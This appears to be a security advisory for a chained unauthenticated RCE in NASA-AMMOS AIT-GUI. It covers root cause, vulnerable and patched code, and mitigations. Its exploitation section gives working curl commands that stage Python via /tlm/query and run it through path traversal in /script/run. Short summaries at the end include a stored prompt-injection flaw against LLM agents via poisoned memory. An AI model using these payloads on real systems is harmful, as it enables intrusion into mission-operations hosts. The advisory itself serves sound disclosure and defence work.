Nov 21, 2026·10 min read·3 visits
An unauthenticated attacker with network access to NASA-AMMOS AIT-GUI (< 2.5.1) can write arbitrary Python code to static/fields_in.txt by triggering an early HTTP 400 abort on POST /tlm/query, and then execute that file via directory traversal in POST /script/run.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
NASA-AMMOS AIT-GUI (AMMOS Instrument Toolkit - Graphical User Interface) is a Python-based web application framework used for building ground data system interfaces, real-time spacecraft telemetry monitoring, and mission operations commanding. The web backend is built on the Bottle micro web-framework and Gevent, exposing HTTP endpoints for querying historical telemetry, monitoring real-time packets, and executing operational automation scripts.
In versions 1.0.0 prior to 2.5.1, AIT-GUI contains two distinct implementation defects in ait/gui/__init__.py that can be chained to achieve unauthenticated remote code execution. The first defect is an incomplete cleanup flaw (CWE-459) in the POST /tlm/query route, which leaves user-controlled input persisted in a predictable static file (fields_in.txt) when an error condition is triggered. The second defect is a path traversal vulnerability (CWE-22) in the POST /script/run route, which fails to validate that a requested script resides within the designated ScriptRoot directory before executing it as Python code.
Although the /script/run endpoint requires an active session context, AIT-GUI issues valid session cookies automatically to any unauthenticated client requesting GET /. Furthermore, the AIT-GUI server binds to 0.0.0.0 (all network interfaces) by default. Consequently, any network-reachable client can obtain a session token, write arbitrary Python statements to disk via /tlm/query, and trigger execution of those statements via /script/run.
The root cause of CVE-2026-77309 lies in the interaction between two handlers in ait/gui/__init__.py: handle_tlm_query_post() and handle_script_run_post(). Each function violates security invariants regarding temporary file lifecycle management and filesystem boundary enforcement.
In handle_tlm_query_post(), the server processes telemetry queries by reading a comma-separated list of field names from the fields HTTP POST parameter. To pass these fields to the underlying ait-tlm-csv command-line utility, the handler writes each comma-delimited element onto a new line in os.path.join(HTMLRoot.static_dir, "fields_in.txt"). Crucially, the file creation occurs before the handler validates whether the user-supplied dataDir directory contains any .pcap files.
After creating and populating fields_in.txt, the handler traverses data_dir using os.walk(data_dir) to collect .pcap file paths. If no .pcap files are found (len(pcaps) == 0), the handler invokes bottle.abort(400, msg). In the Bottle framework, bottle.abort() raises an HTTPError exception that immediately unwinds the call stack inside the request handler. Because the cleanup call os.remove(_fields_file_path) was placed sequentially at the end of the function rather than inside a finally block, the exception bypasses file deletion, leaving the attacker-controlled fields_in.txt intact inside the server's static asset directory.
The second half of the vulnerability chain exists in handle_script_run_post(), which handles POST /script/run. This endpoint retrieves a session context via Sessions.current() and reads the scriptPath form parameter. It constructs the target path using os.path.join(ScriptRoot, script_name) and verifies existence via os.path.exists(script_path). Unlike the /scripts/load/<name> route in the same application, handle_script_run_post() performs no canonicalization or prefix verification. In Python, os.path.join() preserves relative parent directory traversal sequences (..) and resets the path completely if the second argument is an absolute path.
Once os.path.exists(script_path) evaluates to True, the server spawns an asynchronous greenlet via gevent.spawn(bg_exec_script, script_path). The bg_exec_script function reads the target file from disk and passes its contents directly to the Python execution environment within the AIT-GUI daemon process.
Examining ait/gui/__init__.py prior to version 2.5.1 demonstrates how the static temporary file creation and the unvalidated script path resolution operate in code.
# Vulnerable implementation in ait/gui/__init__.py (< 2.5.1)
@App.route("/tlm/query", method="POST")
def handle_tlm_query_post():
# Predictable static file location inside HTMLRoot.static_dir
_fields_file_path = os.path.join(HTMLRoot.static_dir, "fields_in.txt")
data_dir = bottle.request.forms.get("dataDir")
time_field = bottle.request.forms.get("timeField")
packet = bottle.request.forms.get("packet")
fields = bottle.request.forms.get("fields").split(",")
start_time = bottle.request.forms.get("startTime")
end_time = bottle.request.forms.get("endTime")
if not (time_field and packet and fields and start_time):
bottle.abort(400, "Malformed parameters")
# Attacker-controlled input written directly to disk before PCAP validation
with open(_fields_file_path, "w") as fields_file:
for f in fields:
fields_file.write(f + "\n")
pcaps = []
for d, _dirs, files in os.walk(data_dir):
for f in files:
if f.endswith(".pcap"):
pcaps.append(os.path.join(d, f))
if len(pcaps) == 0:
msg = "Unable to locate PCAP files for query given data directory {}".format(data_dir)
log.error(msg)
# Raises HTTPError(400), skipping os.remove(_fields_file_path) below
bottle.abort(400, msg)
# ... subprocess execution omitted ...
os.remove(_fields_file_path)In the corresponding /script/run handler, the lack of path canonicalization allows directory traversal outside ScriptRoot:
# Vulnerable script execution route in ait/gui/__init__.py (< 2.5.1)
@App.route("/script/run", method="POST")
def handle_script_run_post():
if _RUNNING_SCRIPT is None:
with Sessions.current() as session:
script_name = bottle.request.forms.get("scriptPath")
# Vulnerable: os.path.join allows '../' traversal or absolute paths
script_path = os.path.join(ScriptRoot, script_name)
if not os.path.exists(script_path):
bottle.abort(400, "Script cannot be located")
_RUNNING_SCRIPT = gevent.spawn(bg_exec_script, script_path)Commit beb8fc0813eded89f985d3eb9a73535dd327726d remediates both weaknesses simultaneously. First, handle_tlm_query_post() replaces the static fields_in.txt path with tempfile.NamedTemporaryFile(mode="w", prefix="ait-gui-fields-", suffix=".txt", delete=False) and wraps the entire operation in a try...finally block:
# Patched implementation in ait/gui/__init__.py (2.5.1)
try:
with tempfile.NamedTemporaryFile(
mode="w",
prefix="ait-gui-fields-",
suffix=".txt",
delete=False,
) as fields_file:
_fields_file_path = fields_file.name
for f in fields_raw.split(","):
fields_file.write(f + "\n")
pcaps = []
for d, _dirs, files in os.walk(data_dir):
for f in files:
if f.endswith(".pcap"):
pcaps.append(os.path.join(d, f))
if len(pcaps) == 0:
msg = "Unable to locate PCAP files for query given data directory {}".format(
data_dir
)
log.error(msg)
bottle.abort(400, msg)
# ... subprocess call ...
finally:
# Guaranteed cleanup even when bottle.abort(400) is raised
if _fields_file_path and os.path.exists(_fields_file_path):
os.remove(_fields_file_path)Second, handle_script_run_post() is updated to resolve both ScriptRoot and the user-provided script_name into canonical paths using pathlib.Path.resolve() and enforce containment via Path.is_relative_to():
# Patched script execution route in ait/gui/__init__.py (2.5.1)
script_name = bottle.request.forms.get("scriptPath")
if not script_name:
bottle.abort(400, "Script cannot be located")
safe_root = pathlib.Path(ScriptRoot).resolve()
script_path = (safe_root / pathlib.Path(script_name)).resolve()
# Enforce that resolved target path resides strictly under safe_root
if not script_path.is_relative_to(safe_root):
bottle.abort(400, "Invalid script path")
if not script_path.exists():
bottle.abort(400, "Script cannot be located")
_RUNNING_SCRIPT = gevent.spawn(bg_exec_script, str(script_path))> [!NOTE]
> The fix is comprehensive for both reported attack vectors. By using pathlib.Path.resolve() followed by is_relative_to(safe_root), the patch prevents relative traversal (../), absolute path injection (/tmp/...), and symlink escapes pointing outside ScriptRoot. Note that Path.is_relative_to() requires Python 3.9 or newer.
Exploiting CVE-2026-77309 requires only network connectivity to the AIT-GUI HTTP listener (default port 8080). No valid user credentials or prior authentication tokens are necessary. The attack proceeds in two distinct HTTP phases: staging the Python payload on the filesystem and triggering its execution.
In the first phase, the attacker sends an HTTP POST request to /tlm/query. Because handle_tlm_query_post() splits the fields parameter on commas (,) and writes each token as a line to static/fields_in.txt, the attacker formats a multi-line Python script using commas as line delimiters (and avoiding commas within the Python expressions themselves, or encoding the payload accordingly). The dataDir parameter is set to a non-existent or empty directory path (such as /tmp/empty_or_nonexistent_dir) so that os.walk() finds zero .pcap files and aborts prior to file cleanup.
# Stage 1: Write Python payload to static/fields_in.txt and trigger early 400 abort
curl -X POST http://target:8080/tlm/query \
-d "dataDir=/tmp/empty_or_nonexistent_dir" \
-d "timeField=time" \
-d "packet=CCSDS_HEADER" \
-d "fields=import os,os.system('id > /tmp/ait_pwned.txt')" \
-d "startTime=2026-07-01T00:00:00" \
-d "endTime=2026-07-10T00:00:00"When the server processes this request, it writes the following two lines to <HTMLRoot.static_dir>/fields_in.txt before returning HTTP/1.0 400 Bad Request:
import os
os.system('id > /tmp/ait_pwned.txt')In the second phase, the attacker acquires an unauthenticated session cookie by making a standard GET / request to the root web endpoint. Using the returned cookie, the attacker submits a POST /script/run request specifying a relative traversal path from ScriptRoot to HTMLRoot.static_dir (typically ../static/fields_in.txt depending on the deployment layout, or an absolute filesystem path if known).
# Stage 2A: Obtain an unauthenticated session cookie
curl -c cookies.txt http://target:8080/ -o /dev/null
# Stage 2B: Execute static/fields_in.txt as Python via directory traversal
curl -X POST http://target:8080/script/run \
-b cookies.txt \
-d "scriptPath=../static/fields_in.txt"Provided no other script is actively running (_RUNNING_SCRIPT is None), handle_script_run_post() spawns bg_exec_script, which loads and executes the staged Python payload inside the AIT-GUI server process.
Successful exploitation of CVE-2026-77309 grants an unauthenticated attacker arbitrary Python code execution within the security context of the AIT-GUI server daemon. Because AIT-GUI is engineered for spacecraft ground data systems, telemetry processing, and command uplink orchestration, compromising the server process carries severe operational risks.
An attacker executing arbitrary code on the AIT-GUI host can read sensitive mission configurations, extract spacecraft command dictionaries and telemetry definitions, manipulate real-time telemetry displays presented to mission operators, or inject unauthorized commands into connected ground station interfaces. In addition, the attacker gains full read/write access to the local filesystem accessible by the service account running AIT-GUI.
The vulnerability is assigned a CVSS v3.1 base score of 8.8 (High) with the vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H:
0.0.0.0 by default and is typically deployed within mission operations centers or internal institutional subnets, making it accessible across adjacent or internal networks.../static/fields_in.txt). The only runtime constraint is that no other automation script is currently executing (_RUNNING_SCRIPT is None).GET / without authentication, and no operator interaction is required.CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) evaluates the technical impact of CVE-2026-77309 as total with poc exploitation status, as a complete working proof-of-concept is documented in the official advisory.
NASA-AMMOS addressed CVE-2026-77309 in AIT-GUI version 2.5.1 via commit beb8fc0813eded89f985d3eb9a73535dd327726d. Organizations operating AIT-GUI should upgrade immediately to version 2.5.1 or later.
# Upgrade ait-gui via pip
pip install --upgrade "ait-gui>=2.5.1"After upgrading, administrators should inspect the AIT-GUI static/ directory on existing installations and remove any residual fields_in.txt files left behind by prior failed queries or probing attempts:
# Remove any leftover static fields_in.txt file
rm -f /path/to/ait/gui/static/fields_in.txtFor environments where an immediate upgrade is not possible, operators should apply defense-in-depth controls to restrict exposure:
iptables / nftables) so the HTTP server is only reachable from trusted operator workstations or localhost (127.0.0.1), rather than listening on all interfaces (0.0.0.0).POST /script/run requests whose URL-decoded body contains .., %2e%2e, /, or %2f within the scriptPath parameter.ERROR | Unable to locate PCAP files for query given data directory followed immediately by POST /script/run requests.CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
AIT-GUI (ait-gui) NASA-AMMOS | >= 1.0.0, < 2.5.1 | 2.5.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Path Traversal (CWE-22) & Incomplete Cleanup (CWE-459) leading to RCE |
| CVSS v3.1 Score | 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Affected Component | ait/gui/__init__.py (handle_tlm_query_post & handle_script_run_post) |
| Affected Versions | NASA-AMMOS AIT-GUI >= 1.0.0, < 2.5.1 |
| Patched Version | 2.5.1 (Commit beb8fc0813eded89f985d3eb9a73535dd327726d) |
| Authentication Required | None (Session cookie automatically issued via GET /) |
| Exploit Maturity | Proof-of-Concept (PoC) publicly available |
| CISA KEV Status | Not Listed |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.
svglib versions prior to 2.3.1 contain an uncontrolled resource consumption vulnerability in the svg2rlg() renderer. When parsing SVG documents containing nested <use> elements, SvgRenderer.renderUse() recursively resolves and deep-copies referenced subtrees without enforcing a global expansion limit. Although the library detects and blocks direct circular references, an attacker can construct an acyclic directed reference graph with high fan-out (an SVG analogue to the XML Billion Laughs attack). Processing a crafted SVG payload of less than 2 KB triggers exponential node duplication, exhausting CPU and memory in applications that convert user-supplied SVGs or HTML documents embedding SVG content.
CVE-2026-132277 (also tracked as GHSA-q87h-c5m7-659j) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Inscriptis Python library (versions 2.0.0 through 2.7.5). When rendering sibling HTML table elements inside a block-level parent container, the parser fails to pop the parent block's inline padding prefix from the internal canvas prefix stack upon closing the block. Consequently, each subsequent sibling table inherits and accumulates the indentation prefixes of all preceding tables. This causes the output string length and memory allocation of get_text() to grow quadratically with the number of sibling tables, allowing a compact untrusted HTML payload to trigger denial of service via memory exhaustion.
CVE-2026-132276 (GHSA-53pm-wgxf-c6qf) is an algorithmic complexity and Regular Expression Denial of Service (ReDoS) vulnerability in the Python wcmatch wildcard and glob matching library prior to version 11.2. Under default flags, matching a non-matching attacker-controlled filename against a static developer-defined pattern containing multiple star (*) wildcards separated by literal delimiters causes polynomial-time backtracking O(n^k) in the compiled regular expression. A single 255-byte filename evaluated against a 5-star pattern consumes approximately 86 seconds of 100% CPU time, allowing unauthenticated attackers to induce severe availability degradation.
CVE-2026-122244 (GHSA-r2q3-7m4h-63qg) is a high-severity cross-privilege Stored Cross-Site Scripting (XSS) vulnerability in Budibase prior to version 3.50.0. The flaw occurs due to defective character escaping in the JSON formatter utility combined with raw HTML rendering via Svelte's {@html} directive in the Budibase Builder interface. A low-privileged application user or an unauthenticated form visitor can store malicious HTML markup in a shared datasource, which subsequently executes arbitrary JavaScript in the browser session of an administrator or application builder inspecting Handlebars formula bindings.